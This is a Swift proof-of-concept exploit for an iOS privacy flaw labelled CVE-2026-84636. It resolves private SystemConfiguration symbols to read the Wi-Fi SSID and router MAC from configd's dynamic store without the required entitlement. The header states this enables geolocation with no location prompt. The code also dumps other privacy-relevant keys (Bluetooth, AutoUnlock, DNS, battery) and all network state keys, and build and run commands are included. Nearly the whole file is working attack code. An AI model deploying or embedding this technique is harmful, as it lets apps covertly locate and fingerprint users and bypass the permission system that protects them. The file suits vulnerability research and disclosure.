// sc.dynamicstore · SystemConfiguration · configd network state · CVE-2026-84636 // Wi-Fi SSID and router MAC without com.apple.developer.networking.wifi-info. // // CNCopyCurrentNetworkInfo is the supported API and refuses without the entitlement. // configd's dynamic store carries the same fields and is readable by any sandboxed // process: State:/Network/Interface/en0/AirPort holds SSID_STR, and the service IPv4 // entry holds ARPResolvedHardwareAddress (the router MAC). Those two values are // enough for WiGLE-style geolocation without a location prompt. // // SCDynamicStore is private on iOS (the SDK marks it unavailable), so the symbols are // resolved from SystemConfiguration by name. // // Build: xcrun -sdk iphoneos swiftc -O -o cve-2026-84636 CVE-2026-84636.swift \ // -framework SystemConfiguration -framework CoreFoundation // Run: ./cve-2026-84636 import Foundation import SystemConfiguration import SystemConfiguration.CaptiveNetwork import CoreFoundation typealias CreateFn = @convention(c) (CFAllocator?, CFString, UnsafeMutableRawPointer?, UnsafeMutableRawPointer?) -> CFTypeRef? typealias CopyFn = @convention(c) (CFTypeRef, CFString) -> CFPropertyList? typealias KeysFn = @convention(c) (CFTypeRef, CFString) -> CFArray? guard let handle = dlopen("/System/Library/Frameworks/SystemConfiguration.framework/SystemConfiguration", RTLD_NOW), let cSym = dlsym(handle, "SCDynamicStoreCreate"), let vSym = dlsym(handle, "SCDynamicStoreCopyValue"), let kSym = dlsym(handle, "SCDynamicStoreCopyKeyList") else { print("SystemConfiguration symbols not found"); exit(1) } let create = unsafeBitCast(cSym, to: CreateFn.self) let copyValue = unsafeBitCast(vSym, to: CopyFn.self) let copyKeys = unsafeBitCast(kSym, to: KeysFn.self) guard let store = create(nil, "cve-2026-84636" as CFString, nil, nil) else { print("SCDynamicStoreCreate failed"); exit(1) } func show(_ key: String) -> CFPropertyList? { guard let v = copyValue(store, key as CFString) else { print("\(key): ") return nil } print("\(key): \(v)") return v } func dictField(_ v: CFPropertyList?, _ field: String) -> String? { guard let d = v as? [String: Any] else { return nil } return d[field].map { "\($0)" } } print("=== entitlement check ===") let captive = CNCopyCurrentNetworkInfo("en0" as CFString) as? [String: Any] print("CNCopyCurrentNetworkInfo: \(captive.map { "\($0)" } ?? "nil (entitlement missing)")") print("\n=== dynamic store: interface state ===") let airport = show("State:/Network/Interface/en0/AirPort") print("SSID_STR: \(dictField(airport, "SSID_STR") ?? "")") print("BSSID: \(dictField(airport, "BSSID") ?? "")") print("Channel: \(dictField(airport, "Channel") ?? "")") print("AuthType: \(dictField(airport, "AuthType") ?? "")") print("\n=== dynamic store: IPv4 service (router MAC) ===") let global = show("State:/Network/Global/IPv4") print("PrimaryService: \(dictField(global, "PrimaryService") ?? "")") print("Router: \(dictField(global, "Router") ?? "")") if let uuid = dictField(global, "PrimaryService") { let svc = show("State:/Network/Service/\(uuid)/IPv4") print("ARPResolvedHardwareAddress: \(dictField(svc, "ARPResolvedHardwareAddress") ?? "")") _ = show("State:/Network/Service/\(uuid)/DHCP") } print("\n=== dynamic store: privacy-relevant keys ===") for key in ["State:/Network/Global/DNS", "com.apple.MobileBluetooth", "com.apple.MobileInternetSharing", "com.apple.sharing:/AutoUnlock/Enabled", "State:/IOKit/LowBatteryWarning", "State:/IOKit/PowerManagement/SystemLoad/Detailed"] { _ = show(key) } print("\n=== enumeration ===") if let keys = copyKeys(store, "State:/Network/.*" as CFString) as? [String] { print("State:/Network keys: \(keys.count)") for k in keys.sorted() { _ = show(k) } } else { print("State:/Network key list: ") } print("\noracle: SSID and router MAC above came from configd without the wifi-info entitlement")